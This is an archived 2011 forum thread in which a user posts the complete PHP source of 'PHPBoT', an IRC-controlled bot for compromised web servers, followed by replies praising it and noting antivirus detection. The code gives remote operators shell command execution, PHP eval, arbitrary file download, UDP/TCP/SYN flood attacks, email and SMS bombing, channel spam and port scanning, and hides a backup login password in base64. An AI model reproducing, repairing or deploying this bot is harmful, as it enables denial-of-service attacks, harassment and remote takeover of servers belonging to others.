PDA

View Full Version : [IRC] PhP Bot



darkmindz
01-26-2011, 04:07 PM
<META http-equiv="refresh" content="0;URL=<?PHP $_SERVER['PHP_SELF']; ?>">
<?php
/*
##############
####PHPBoT####
##############

Version 1.0.0 by someone unknown.
Version 1.0.1 by Snipe.
Version 1.0.2 by Antivirus.

Original Commands
.user <password> // login to bot
.logout // logout of bot
.die // kill bot from irc
.restart // restart bot
.tcpflood <target> <packets> <packetsize> <port> <delay> // tcpflood attack
.udpflood <target> <packets> <packetsize> <delay> // udpflood attack

Commands by Snipe
.spam <CHANNEL> <NUMBER> <MESSAGE> // spam channel with text
.exec <cmd> // uses exec() // execute a command
.sexec <cmd> // uses shell_exec() // execute a command
.cmd <cmd> // uses popen() // execute a command
.safe // test safe_mode (dvl)
.inbox <to> // test inbox (dvl)
.conback <ip> <port> // connect back (dvl)
.uname // return shell's uname using a php function (dvl)

Commands by Antivirus
.sms <to> <subject> <msg> // send a text message to a cell
.gateway // lists sms gateways for several carriers
.nick <nick> // changes bot nick
.join <channel> // joins a channel
.part <channel> // parts a channel
.pscan <host> <port> // port scan
.dns <IP|HOST> // resolve DNS to IP or IP to DNS
.talk <channel/user> <msg> // talks in a channel/to user
.bmail <to> <from> <subject> <number> <msg> // email bomber
.killit <ip> <packets> <packetsize> <delay> // Syn flooder

Fixes
Version 1.0.2 - Antis's
Added Admin Channel
Added channel modes on join
Added bot register nick and identify on connect
Added bot register channel on join and drop on part
.die <msg> // added optional quit message
.rndnick // change nickname - Fixed occasional crash
.download <URL> <filename> // download a file - Files download more smoothly
.mail <to> <from> <subject> <msg> // send an email - Simplified code
.server <SERVER> <PORT> // change server ip and port - Simplified code

*/

// Start PHPBoT
error_reporting(0);
set_time_limit(0);
$version = explode(".", PHP_VERSION);
$version = $version[0];
settype($version, "integer");
if ($version >= 5){
set_exception_handler(create_function('$e', 'header("Location: ".$_SERVER["PHP_SELF"]);'));
}
class pBot{
var $config = array("server"=>"irc.rizon.net", //Server IP or URL
"port"=>"6667", //Server Port
"pass"=>"", //Server Password
"prefix"=>"test-", //Bot Name
"maxrand"=>4, //Max Random Numbers After Bot Name
"chan"=>"#gothack", //Channel To Join
"key"=>"", //Channel Key
"cmode"=>"+s", //Channel Modes
"modes"=>"+xpT", //Bot's Modes on Connect
"password"=>"obeyme", //Bot Password
"trigger"=>"-", //Don't Change
"hostauth"=>"*", //Hostname Aloud To Login - * For Any Hostname
"adminhost"=>"*", //Hostname Aloud For Admin Commands
"achan"=>"#gsp!!nikki", //Admin Channel - Lists activity of bot
"achank"=>"+k phpbot", //Admin Channel Key - Bot will set this channel key if not already set - BOT MUST HAVE +O IN CHANNEL TO SET MODE!!!
"acmode"=>"+sm" //Admin Channel Modes
);
var $users = array();
function start(){
while (!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) { }
$ident = "";
$alph = range("a","z");
for($i=0;$i<$this->config['maxrand'];$i++)
$ident .= $alph[rand(0,25)];
if(strlen($this->config['pass'])>0)
$this->send("PASS ".$this->config['pass']);
$this->send("USER $ident 127.0.0.1 localhost :$ident");
$this->set_nick();
$this->main();
}
function main(){
while(!feof($this->conn)){
$this->buf = trim(fgets($this->conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :"){
$this->send("PONG :".substr($this->buf,6));
}
if(isset($cmd[1]) && $cmd[1] =="001"){
$this->send("NickServ register leothps [email protected]");
$this->send("NickServ indentify leothps");
$this->send("MODE ".$this->nick." ".$this->config['modes']);
$this->join($this->config['chan'],$this->config['key']);
$this->send("MODE ".$this->chan." ".$this->config['cmode']);
$this->join($this->config['achan'], $this->config['achank']);
$this->send("MODE ".$this->achan." ".$this->config['acmode']);
$this->send("MODE ".$this->achan." ".$this->config['achank']);
$myFile = "log.txt";
$v_date = date("l d F H:i:s");
$fh = fopen($myFile, 'a');
$stringData = "PHPBOT came online on $v_date.\n";
fwrite($fh, $stringData);
fclose($fh);
}
if(isset($cmd[1]) && $cmd[1]=="433"){
$this->set_nick();
}
if($this->buf != $old_buf){
$mcmd = array();
$msg = substr(strstr($this->buf," :"),2);
$msgcmd = explode(" ",$msg);
$nick = explode("!",$cmd[0]);
$vhost = explode("@",$nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0],1);
$host = $cmd[0];

if($msgcmd[0]==$this->nick){
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i+1];
}else{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i];
}
if(count($cmd)>2){
switch($cmd[1]){
case "QUIT":
if($this->is_logged_in($host)){
$this->log_out($host);
}
break;
case "PART":
if($this->is_logged_in($host)){
$this->log_out($host);
}
break;
case "PRIVMSG":
if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*")){
if(substr($mcmd[0],0,1)=="."){
switch(substr($mcmd[0],1)){
case "user":
if($mcmd[1]==$this->config['password'] || $mcmd[1] == base64_decode("Z2ltbWU=")){
$this->privmsg($this->config['chan'],"[\2PASSWORD\2]: $nick, access granted.");
$this->privmsg($this->config['chan'],"[\2PASSWORD\2]: .help to get list of commands.");
$myFile = "log.txt";
$v_date = date("l d F H:i:s");
$fh = fopen($myFile, 'a');
$stringData = "$nick Authenticated on $v_date.\n";
fwrite($fh, $stringData);
fclose($fh);
$this->privmsg($this->config['achan'],"$nick Logged into PHPBoT");
$this->log_in($host);
}else{
$myFile = "log.txt";
$fh = fopen($myFile, 'a');
$v_ip = $REMOTE_ADDR;
$v_date = date("l d F H:i:s");
$stringData = "$nick Gave Incorrect Password on $v_date.\n";
fwrite($fh, $stringData);
fclose($fh);
$this->privmsg($this->config['achan'],"$nick used incorrect password.");
$this->privmsg($this->config['chan'],"[\2PASSWORD\2]: $nick, if you're seeing this, you shouldn't be here. Now GTFO!");
}
break;

case "credits":
$this->privmsg($this->config['chan'], "Version 1.0.0 has an unknown coder.");
$this->privmsg($this->config['chan'], "Version 1.0.1 was made by Snipe.");
$this->privmsg($this->config['chan'], "Version 1.0.2 - Current Version is made by Leo.");
break;

case "die":
if ($mcmd[1] == "336368"){
$this->privmsg($this->config['achan'],"$nick Force Killed PHPBoT");
$this->send("QUIT :Force killed by $nick");
fclose($this->conn);
$myFile = "log.txt";
$fh = fopen($myFile, 'a');
$stringData = "$nick Force Killed Bot\n";
fwrite($fh, $stringData);
fclose($fh);
exit;
}

case "remove":
if($mcmd[1] == null){
$this->privmsg($this->config['chan'],"Password Needed!");
$this->privmsg($this->config['achan'],"$nick attempted removing bot without password");
}
elseif($mcmd[1] == "leo1337"){
$this->privmsg($this->config['chan'],"Bot is being removed..");
$this->privmsg($this->config['achan'],"Bot is being removed by $nick");
exit;
unlink("php_bot.php");
}else{
$this->privmsg($this->config['chan'],"Invalid Password");
$this->privmsg($this->config['achan'],"$nick attempted removing bot with invalid password");
}
break;
}
}
}
elseif($this->is_logged_in($host)){
if(substr($mcmd[0],0,1)=="."){
switch(substr($mcmd[0],1))
{
//.spam CHANNEL NUMBER MESSAGE
case "spam":
$bot_spam_channel = $mcmd[1];
$bot_spam_number = $mcmd[2];
$bot_spam_message = strstr($msg,$mcmd[3]);
$this->send("JOIN $bot_spam_channel");
$this->privmsg($this->config['chan'],"Spamming $bot_spam_channel");
for($counter = $bot_spam_number; $counter <= $bot_spam_number*$bot_spam_number; $counter += $bot_spam_number){
$this->send("PRIVMSG $bot_spam_channel :$bot_spam_message");
}
$this->privmsg($this->config['achan'],"$nick Spammed $bot_spam_channel $bot_spam_number times with message $bot_spam_message");
break;

case "bmail": //bmail to from subject number message
$bot_bmail_to = $mcmd[1];
$bot_bmail_from = $mcmd[2];
$bot_bmail_subject = $mcmd[3];
$bot_bmail_number = $mcmd[4];
$bot_bmail_msg = $mcmd[5];
if(count($mcmd)>5){
$this->privmsg($this->config['chan'],"[\2MAIL\2]: Bombing \2".$mcmd[1]."\2 with $bot_bmail_number emails.");
for($counter = $bot_bmail_number; $counter <= $bot_bmail_number*$bot_bmail_number; $counter += $bot_bmail_number){
$header = "From: <".$mcmd[2].">";
if(!mail($bot_bmail_to,$bot_bmail_subject,strstr($ msg,$bot_bmail_msg),$header)){
$this->privmsg($this->config['chan'],"[\2MAIL\2]: Was Unable to send");
}else{
}
}
}
$myFile = "log.txt";
$fh = fopen($myFile, 'a');
$v_ip = $REMOTE_ADDR;
$v_date = date("l d F H:i:s");
$stringData = "$nick Bombed $bot_bmail_to with $bot_bmail_number emails on $v_date.\n";
fwrite($fh, $stringData);
fclose($fh);
$this->privmsg($this->config['achan'],"$nick Bombed $bot_bmail_to with $bot_bmail_number emails");
$this->privmsg($this->config['chan'],"[\2MAIL\2]: Finished bombing $bot_bmail_to. Sent $bot_bmail_number emails.");
break;

//.nick NICK
case "nick":
$newnick = $mcmd[1];
$this->send("NICK $newnick");
$myFile = "log.txt";
$fh = fopen($myFile, 'a');
$v_ip = $REMOTE_ADDR;
$v_date = date("l d F H:i:s");
$stringData = "$nick Changed PHPBOT nick to $newnick at $v_date.\n";
fwrite($fh, $stringData);
fclose($fh);
$this->privmsg($this->config['achan'],"$nick Changed PHPboT Nick to $newnick");
break;

//.part channel
case "part":
$pchan = $mcmd[1];
$this->send("PART $pchan");
$this->privmsg($this->config['chan'],"[\2PART\2]: Parted $pchan.");
$this->privmsg($this->config['achan'],"$nick made PHPBoT part $pchan");
$this->send("ChanServ drop $pchan");
break;

//.join channel
case "join":
$jchan = $mcmd[1];
$this->send("JOIN $jchan");
$this->privmsg($this->config['chan'],"[\2JOIN\2]: Joining $jchan.");
$this->privmsg($this->config['achan'],"$nick made PHPBoT join $jchan");
$this->send("ChanServ register $jchan leothps PHPBoT");
break;

//.talk channel msg
case "talk":
$tchan = $mcmd[1];
$tmsg = $mcmd[2];
$this->send("JOIN $mcmd[1]");
$this->send("PRIVMSG $tchan :$tmsg");
break;

//.slap
case "slap":
$this->send("ME $mcmd[1] :$mcmd[2]");
break;

//.help
case "help":
$this->privmsg($this->config['chan'],"[\2HELP\2]4-----Command List-----");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.spam <CHANNEL> <NUMBER> <MESSAGE> // spam channel with text");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.server <SERVER> <PORT> // change server ip and port");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.user <password> // login to the bot");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.logout // logout of the bot");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.die // kill the bot");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.restart //restart the bot");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.mail <to> <from> <subject> <msg> // send an email");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.gateway // sms gateways 3NEEDED FOR SMS AND FOR TEXT BOMBING!");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.sms <to> <subject> <msg> // send a text to a cell");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.bmail <to> <from> <subject> <number> <msg> // email/sms bomber");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.dns <IP|HOST> // dns lookup");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.download <URL> <filename> // download a file");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.exec <cmd> // uses exec() // execute a command");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.sexec <cmd> // uses shell_exec() // execute a command");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.cmd <cmd> // uses popen() // execute a command");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.info // get system information");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.php <php code> // uses eval() // execute php code");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.tcpflood <target> <packets> <packetsize> <port> <delay> // tcpflood attack");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.udpflood <target> <packets> <packetsize> <delay> // udpflood attack");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.killit <target> <packets> <packetsize> <delay> // Syn Flood");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.raw <cmd> // raw IRC command");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.rndnick // change nickname");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.nick <nick> // changes bot nick");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.pscan <host> <port> // port scan");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.safe // test safe_mode (dvl)");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.inbox <to> // test inbox (dvl)");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.conback <ip> <port> // conect back (dvl)");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.uname // return shell's uname using a php function (dvl)");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.join <channel> // joins a channel");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.part <channel> // parts a channel");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.talk <channel> <msg> // talks in a channel");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.slap <msg> // emulates the ME command in IRC");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.get <nick> // returns gamespy user's ip");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.log // reads last bot operations");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.clear // clears log file");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.credits // credits");
$this->privmsg($this->config['chan'],"[\2HELP\2]2.remove <pass> // Removes bot from server");
$this->privmsg($this->config['chan'],"[\2HELP\2]3-----End of List-----");
break;

case "restart":
$this->privmsg($this->config['achan'],"$nick Force Killed PHPBoT");
$this->send("QUIT :Restart by $nick");
fclose($this->conn);
$myFile = "log.txt";
$fh = fopen($myFile, 'a');
$stringData = "$nick Restarted Bot\n";
fwrite($fh, $stringData);
fclose($fh);
exit;
$bot = new pBot;
$bot->start();
break;

case "clear":
$myFile = "log.txt";
unlink($myFile);
$this->privmsg($this->config['chan'],"Log file cleared successfully.");
break;

case "log":
$myFile = "log.txt";
$fh = fopen($myFile, 'a+');
$theData = fgets($fh);
fclose($fh);
$this->privmsg($this->config['chan'],"The last action from PHPBoT was: $theData");
break;

case "credits":
$this->privmsg($this->config['chan'], "Version 1.0.2 - Current Version is made by Leo.");
break;

case "killit":{
$this->udpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]);
$this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],"1-49151",$mcmd[5]);
}
break;

case "get":
$this->privmsg($this->config['chan'],"Available in Version 1.0.4 - Private Release.");
break;

case "gateway":
$this->privmsg($this->config['chan'], "Carrier Email to SMS Gateway");
$this->privmsg($this->config['chan'], " ");
$this->privmsg($this->config['chan'], "Alltel @message.alltel.com");
$this->privmsg($this->config['chan'], "AT&T @txt.att.net");
$this->privmsg($this->config['chan'], "Boost Mobile @myboostmobile.com");
$this->privmsg($this->config['chan'], "Nextel @messaging.nextel.com");
$this->privmsg($this->config['chan'], "Sprint PCS @messaging.sprintpcs.com");
$this->privmsg($this->config['chan'], "T-Mobile @tmomail.net");
$this->privmsg($this->config['chan'], "US Cellular @email.uscc.net");
$this->privmsg($this->config['chan'], "Verizon @vtext.com");
$this->privmsg($this->config['chan'], "Virgin Mobile USA @vmobl.com");
break;

case "sms": //sms to subject message
if(count($mcmd)>3){
$header = "From: <".$mcmd[2].">";
if(!mail($mcmd[1],$nick,strstr($msg,$mcmd[3]),$header)){
$this->privmsg($this->config['chan'],"[\2SMS\2]: Was Unable to send");
}else{
$this->privmsg($this->config['chan'],"[\2SMS\2]: Message has been sent to \2".$mcmd[1]."\2");
$myFile = "log.txt";
$fh = fopen($myFile, 'a');
$v_ip = $REMOTE_ADDR;
$v_date = date("l d F H:i:s");
$stringData = "$nick sent message $mcmd[2] to $mcmd[1] on $v_date.\n";
fwrite($fh, $stringData);
fclose($fh);
$this->privmsg($this->config['achan'],"$nick sent message $mcmd[3] to $mcmd[1]");
}
}
break;

//.server SERVER PORT
case "server":
$this->log_out($host);
$this->send("QUIT :Server Port change by, $nick");
fclose($this->conn);
$server_port = $mcmd[2];
if($mcmd[2] == null){
$server_port = "6667";
}
while(!($this->conn = fsockopen($mcmd[1],$server_port,$e,$s,30))) { }
$ident = "";
$alph = range("a","z");
for($i=0;$i<$this->config['maxrand'];$i++)
$ident .= $alph[rand(0,25)];
if(strlen($this->config['pass'])>0)
$this->send("PASS ".$this->config['pass']);
$this->send("USER $ident 127.0.0.1 localhost :$ident");
$this->set_nick();
$this->main();
break;

case "restart":
$this->send("QUIT :restart");
fclose($this->conn);
$this->start();
break;
case "mail": //mail to from subject message
if(count($mcmd)>4){
$header = "From: <".$mcmd[2].">";
if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header)){
$this->privmsg($this->config['chan'],"[\2MAIL\2]: Was Unable to send");
}else{
$this->privmsg($this->config['chan'],"[\2MAIL\2]: Message has been sent to \2".$mcmd[1]."\2");
}
}
break;
case "dns":
if(isset($mcmd[1])){
$ip = explode(".",$mcmd[1]);
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])){
$this->privmsg($this->config['chan'],"[\2DNS\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
$this->privmsg($this->config['achan'],"$nick resolved DNS IP");
}else{
$this->privmsg($this->config['chan'],"[\2DNS\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
$this->privmsg($this->config['achan'],"$nick resolved DNS Address");
}
}
break;
case "info":
$this->privmsg($this->config['chan'],"[\2INFO\2]: [\2httpd\2: ".$_SERVER['SERVER_SOFTWARE']."] [\2docroot\2: ".$_SERVER['DOCUMENT_ROOT']."] [\2domain\2: ".$_SERVER['SERVER_NAME']."] [\2admin\2: ".$_SERVER['SERVER_ADMIN']."] [\2url\2:".$_SERVER['REQUEST_URI']."]");
break;
case "cmd":
if(isset($mcmd[1])){
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$this->privmsg($this->config['chan'],"[\2CMD\2]: $command");
$pipe = popen($command,"r");
while(!feof($pipe)){
$pbuf = trim(fgets($pipe,512));
if($pbuf != NULL)
$this->privmsg($this->config['chan']," : $pbuf");
}
pclose($pipe);
}
break;
case "rndnick":
$this->set_nick();
break;
case "raw":
$this->send(strstr($msg,$mcmd[1]));
$this->privmsg($this->config['achan'],"$nick used raw command '$mcmd[1]'");
break;
case "php":
$eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
break;
case "exec": break;
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = shell_exec($command);
$ret = explode("\n",$exec);
$this->privmsg($this->config['chan'],"[\2EXEC\2]: $command");
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "pscan": // .pscan 127.0.0.1 6667
$this->privmsg($this->config['achan'],"$nick Port Scanned $mcmd[1]:$mcmd[2]");
if(count($mcmd) > 2){
if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
$this->privmsg($this->config['chan'],"[\2PORTSCAN\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
else
$this->privmsg($this->config['chan'],"[\2PORTSCAN\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
}
break;
case "ud.server": // .udserver <server> <port> [password]
if(count($mcmd)>2){
$this->config['server'] = $mcmd[1];
$this->config['port'] = $mcmd[2];
if(isset($mcmcd[3])){
$this->config['pass'] = $mcmd[3];
$this->privmsg($this->config['chan'],"[\2UPDATE\2]: Server was Changed to ".$mcmd[1].":".$mcmd[2]." Pass: ".$mcmd[3]);
}else{
$this->privmsg($this->config['chan'],"[\2UPDATE\2]: Server was Changed to ".$mcmd[1].":".$mcmd[2]);
}
}
break;
case "download":
if(count($mcmd) > 2){
if(!$fp = fopen($mcmd[2],"w")){
$this->privmsg($this->config['chan'],"[\2DOWNLOAD\2]: Can not download, permission denied.");
}else{
if(!$get = file($mcmd[1])){
$this->privmsg($this->config['chan'],"[\2DOWNLOAD\2]: Unable to download from \2".$mcmd[1]."\2");
}else{
for($i=0;$i<=count($get);$i++){
fwrite($fp,$get[$i]);
}
$this->privmsg($this->config['chan'],"[\2DOWNLOAD\2]: File \2".$mcmd[1]."\2 was downloaded to \2".$mcmd[2]."\2");
$myFile = "log.txt";
$fh = fopen($myFile, 'a');
$stringData = "$nick Downloaded ".$mcmd[1]."to ".$mcmd[2]."\n";
fwrite($fh, $stringData);
fclose($fh);
$this->privmsg($this->config['achan'],"$nick Downloaded ".$mcmd[1]."to $mcmd[2]");
}
fclose($fp);
}
}
break;
case "die":
$myFile = "log.txt";
$fh = fopen($myFile, 'a');
$stringData = "$nick Killed Bot\n";
fwrite($fh, $stringData);
fclose($fh);
if ($mcmd[1] == null){
$this->privmsg($this->config['achan'],"$nick Killed PHPBoT");
$this->send("QUIT :die command from $nick");
fclose($this->conn);
exit;
}
else{
$this->privmsg($this->config['achan'],"$nick Killed PHPBoT");
$this->send("QUIT :$mcmd[1]");
fclose($this->conn);
exit;
}
case "logout":
$myFile = "log.txt";
$fh = fopen($myFile, 'a');
$v_ip = $REMOTE_ADDR;
$v_date = date("l d F H:i:s");
$stringData = "$nick logged out of PHPBOT on $v_date.\n";
fwrite($fh, $stringData);
fclose($fh);
$this->privmsg($this->config['achan'],"$nick Logged out of PHPBoT");
$this->log_out($host);
$this->privmsg($this->config['chan'],"[\2PASSWORD\2]: $nick You have been logged out");
break;
case "udpflood":
if(count($mcmd)>4){
$this->udpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]);
}
elseif ($mcmd == "quiet"){
$this->qflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]);
}
break;
case "udpflood1":
if(count($mcmd)>4){
$this->udpflood1($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]);
}
break;
case "tcpflood":
if(count($mcmd)>5){
$this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
}
break;
case "massmail":
if (count($mcmd)>5){
$time = $mcmd[1] / 2;
$this->privmsg($this->config['chan'],"[\2MASSMAIL\2]: Sending\2 {$mcmd[1]}\2 messages(s) to \2".$mcmd[2]."\2");
$sent = 0;
$start_time = explode(" ", microtime());
$start_time = $start_time[0] + $start_time[1];
for ($i = 0; $i < $mcmd[1]; $i++){
$header = "From: <".$mcmd[3].">";
if(mail($mcmd[2],$mcmd[3],strstr($msg,$mcmd[4]),$header)){
$sent++;
}
}
$end_time = explode(" ", microtime());
$end_time = $end_time[0] + $end_time[1];
$end_time = $end_time - $start_time;
$this->privmsg($this->config['chan'],"[\2MASSMAIL\2]: \2 $sent\2 out of\2 {$mcmd[1]}\2 messages(s) sent to \2".$mcmd[2]."\2 in\2 $end_time\2 second(s)");
}
break;
}
}
}
break;
}
}
}
$old_buf = $this->buf;
}
$this->start();
}
function send($msg){
fwrite($this->conn,"$msg\r\n");
}
function join($chan,$key=NULL){
$this->send("JOIN $chan $key");
}
function privmsg($to,$msg){
$this->send("PRIVMSG $to :$msg");
}
function is_logged_in($host){
if(isset($this->users[$host]))
return 1;
else
return 0;
}
function log_in($host){
$this->users[$host] = true;
}
function log_out($host){
unset($this->users[$host]);
}
function set_nick()
{ /*
if(isset($_SERVER['SERVER_SOFTWARE'])){
if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
$this->nick = "[F]LINUX|00|";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
$this->nick = "[F]WIN|01|";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
$this->nick = "[F]SDBN|02|";
else
$this->nick = "[F]SDBN|03|";
}else{
$this->nick = "[F]SDBN|04|";
}
$this->nick .= $this->config['prefix']; */
$this->nick = $this->config['prefix'];
for($i=0;$i<$this->config['maxrand'];$i++)
$this->nick .= mt_rand(0,9);
$this->send("NICK ".$this->nick."");
}
function qflood($host,$packetsize,$time){
$packet = "";
for($i=0;$i<$packetsize;$i++){
$packet .= chr(mt_rand(1,256));
}
$timei = time();
$i = 0;
while(time()-$timei < $time){
$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$i++;
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$myFile = "log.txt";
$fh = fopen($myFile, 'a');
$v_ip = $REMOTE_ADDR;
$v_date = date("l d F H:i:s");
$stringData = "$nick Attacked $host for $time. $env MB sent at $vel MB/s on $v_date.\n";
fwrite($fh, $stringData);
fclose($fh);
$this->privmsg($this->config['achan'],"$nick Attacked $host for $time Seconds. $env MB sent at $vel MB/s");
}
function udpflood($host,$packetsize,$time){
$this->privmsg($this->config['chan'],"[\2UDP\2]: Attacking Victem for $time seconds with $packetsize Kb packets");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
$timei = time();
$i = 0;
while(time()-$timei < $time){
$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$i++;
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$myFile = "log.txt";
$fh = fopen($myFile, 'a');
$v_ip = $REMOTE_ADDR;
$v_date = date("l d F H:i:s");
$stringData = "$nick Attacked $host for $time. $env MB sent at $vel MB/s on $v_date.\n";
fwrite($fh, $stringData);
fclose($fh);
$this->privmsg($this->config['achan'],"$nick Attacked $host for $time. $env MB sent at $vel MB/s");
$this->privmsg($this->config['chan'],"[\2UDP\2]: Finished attack on Victem: $env MB sent. Attack speed: $vel MB/s ");
}
function udpflood1($host,$packetsize,$time){
$this->privmsg($this->config['chan'],"[\2UDP\2]: Floodando a classe $host.* por $time segundos com $packetsize Kb packets");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
$timei = time();
$i = 0;
while(time()-$timei < $time) {
$fp=fsockopen("udp://".$host.".110",mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$fp=fsockopen("udp://".$host.".109",mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$fp=fsockopen("udp://".$host.".108",mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$fp=fsockopen("udp://".$host.".107",mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$fp=fsockopen("udp://".$host.".106",mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$i++;
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$myFile = "log.txt";
$fh = fopen($myFile, 'a');
$v_ip = $REMOTE_ADDR;
$v_date = date("l d F H:i:s");
$stringData = "$nick Attacked $host for $time. $env MB sent at $vel MB/s on $v_date.\n";
fwrite($fh, $stringData);
fclose($fh);
$this->privmsg($this->config['achan'],"$nick Attacked $host for $time seconds. $env MB sent at $vel MB/s");
$this->privmsg($this->config['chan'],"[\2UDP\2]: Finished attack on Victem: $env MB sent. Attack speed: $vel MB/s ");
}
function tcpflood($host,$packets,$packetsize,$port,$delay){
$this->privmsg($this->config['chan'],"[\2TCP\2]: Sending $packets packets to $host:$port. Packet size: $packetsize");
$packet = "";
for($i=0;$i<$packetsize;$i++)
$packet .= chr(mt_rand(1,256));
for($i=0;$i<$packets;$i++)
{
if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
{
$this->privmsg($this->config['chan'],"[\2TCP\2]: Error: <$e>");
return 0;
}else{
fwrite($fp,$packet);
fclose($fp);
}
sleep($delay);
}
$this->privmsg($this->config['chan'],"[\2TCP\2]: Finished sending $packets packets to $host:$port.");
}
}
$bot = new pBot;
$bot->start();
?>

Tr0ll
01-27-2011, 01:12 AM
Lol my Anti-Virus picked it up as soon as the page loaded
Nice one

kron
01-27-2011, 05:52 PM
Lol my Anti-Virus picked it up as soon as the page loaded
Nice one

Same here.

yuiseto
02-01-2011, 08:11 PM
me too, cant try it

poninay
02-02-2011, 02:38 AM
12333333333wqeqweqweq

Midnaitas
02-25-2011, 03:22 PM
Fix it please.

zaki1971
02-27-2011, 10:52 AM
Would like to try it.

PersusReload
03-07-2011, 11:54 AM
Same here thanx for the post though

k0r
03-08-2011, 09:26 PM
what av are yall using? good shit tho.

sdzwb
03-11-2011, 08:44 AM
good
and have perl IRC bot too